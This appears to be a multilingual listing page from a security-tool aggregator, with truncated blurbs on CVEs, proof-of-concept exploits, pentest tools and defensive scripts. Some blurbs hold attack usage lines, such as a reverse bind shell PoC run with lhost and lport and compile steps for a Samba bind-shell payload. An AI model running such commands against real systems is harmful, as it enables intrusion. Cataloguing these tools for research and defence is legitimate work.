CVE-2026-72924

GitHub CLI gh is GitHub's official command line tool. Versions 2.28.0 through 2.97.0 bind the local listener created by gh codespace ports forward to all available network interfaces by default. While port forwarding is active, a service in a Codespace can therefore become reachable through the...

One-Lin3r

One-Lin3r One-Lin3r is simple modular and light-weight framework gives you all the one-liners that you will need while penetration testing Windows, Linux, macOS or even BSD systems or hacking generally with a lot of new features to make all of this fully automated ex: you won't even need to copy...

CVE-2026-72924

GitHub CLI (gh) versions 2.28.0 through 2.97.0 bind the local listener created by gh codespace ports forward to all available network interfaces by default, rather than restricting it to loopback. This exposes the forwarded Codespaces service through a wildcard-bound listener on the user's local ...

msLDAPDump

msLDAPDump Strumento di enumerazione LDAP implementato in Python3 msLDAPDump semplifica l'enumerazione LDAP in un ambiente di dominio avvolgendo la libreria ldap3 di Python in un'interfaccia facile da usare. Come la maggior parte dei miei strumenti, questo funziona meglio su Windows. Se si utiliz...

dnsrecon

DNSRecon DNSRecon is a Python port of a Ruby script that I wrote to learn the language and about DNS in early 2007. This time I wanted to learn about Python and extend the functionality of the original tool and in the process re-learn how DNS works and how could it be used in the process of a...

CVE-2020-0910

CVE-2020-0910 Exploit PoC funzionante CVE-2020-0910 - Reverse Bind Shell Testato con Python2.7 Per installare: pip install -r requirements.txt Per eseguire: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2022-41114

CVE-2022-41114 Vulnerabilità di elevazione dei privilegi del driver Windows Bind Filter. autenticazione| complessità| vettore ---|---|--- non disponibile| non disponibile| non disponibile riservatezza| integrità| disponibilità ---|---|--- non disponibile| non disponibile| non disponibile Punteggi...

Open WebUI 'LDAP Empty Password' - Authentication Bypass

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accep...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry Exploit SambaCry-Exploit CVE-2017-7494 zur Ausnutzung von Samba Bind-Shell ohne Metasploit Falls Sie den Port ändern müssen, ändern Sie einfach die Zeile Nr. 68 in bindshell-samba.c und kompilieren Sie neu: root@kitploit: gcc -c -fpic bindshell-samba.c root@kitploit: gcc...

openclaw-hardening-check

Este script apenas lê. Não corrige nada e não garante que você está seguro. A saída verde significa apenas que as verificações listadas abaixo passaram—e nada mais. Verificação de hardening do OpenClaw openclaw-hardening-check.mjs é um pequeno script de revisão offline, sem dependências, de uma...

CVE-2025-9074

CVE-2025-9074 – Docker Desktop Windows Scrittura da Container a Host tramite API del Motore Esposta Autore: w01f Stato: Proof-of-Concept solo a scopo educativo / test autorizzati Panoramica Questo progetto dimostra un PoC per CVE-2025-9074 , una configurazione errata/esposizione in alcune version...

postshell

PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...

cve-2026-5950-bind9-resolver-dos

CVE-2026-5950 - DoS del Resolver BIND 9 Note di ricerca e linee guida difensive per CVE-2026-5950, una vulnerabilità di ciclo di reinvio illimitato nella macchina a stati del resolver BIND 9. Panoramica CVE-2026-5950 colpisce i resolver ricorsivi BIND 9. In specifiche condizioni di tentativo e...

metasploitable2-vsftpd-exploitation

Metasploitable 2 - vsFTPd 2.3.4 Exploitations-Labor Übersicht Dieses Projekt zeigt einen Penetration-Testing-Workflow gegen eine absichtlich verwundbare Maschine, Metasploitable 2. Das Ziel war es, eine bekannte Schwachstelle im FTP-Dienst zu identifizieren, auszunutzen und zu analysieren, um...

nhi-zero-trust-bypass

Progetto: Sfruttare le vulnerabilità di protocollo per manipolare i segreti NHI e bypassare le politiche Zero-Trust Schermate Di seguito sono riportati screenshot reali della dimostrazione. Per altri, vedere screenshots/README.md. 1. Exploit DNS Crash di BIND A. Pacchetto exploit inviato Scapy...

cve-2010-4221

cve-2010-4221 Dieser Exploit wurde geschrieben, um einige Konzepte zu studieren, viel Spaß! Usage root@kitploit: Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw forma...

PoC-for-CVE-2025-9074

CVE-2025-9074 - PoC für nicht authentifizierten Zugriff auf die Docker-API 📌 Übersicht Dieses Repository stellt einen Proof-of-Concept-Exploit PoC für CVE-2025-9074 bereit, der die nicht authentifizierte Offenlegung der Docker-Engine-API auf TCP-Port 2375 betrifft. Ein Angreifer, der auf diese...

persisthunt

Rilevamento Persistenza Linux, Caccia alle Minacce e Raccolta di Artefatti Sommario Utilizzo Esempi di Rilevamento Tabella delle Tecniche Sommario persisthunt.sh aiuta ad accelerare le indagini raccogliendo artefatti mirati relativi alla persistenza ed evidenziando pattern sospetti comunemente...

metasploitable-pentest-report

Metasploitable 2 — Rapporto di Penetration Test Disclaimer: Questo test di penetrazione è stato condotto in un ambiente di laboratorio VMware privato e isolato solo a scopo educativo. Nessun sistema reale è stato accesso. Tutti gli indirizzi IP sono stati resi anonimi. Panoramica Campo| Dettagli...

CVE-2024-54887-PoC

CVE-2024-54887 PoC em TypeScript Este repositório contém uma reescrita em TypeScript ts-node do PoC público em Python para CVE-2024-54887 RCE autenticado no TP-Link TL-WR940N v3/v4. Pré-requisitos Node.js 20+ Instalação root@kitploit: npm install Uso root@kitploit: npx ts-node .\cve-2024-54887.ts...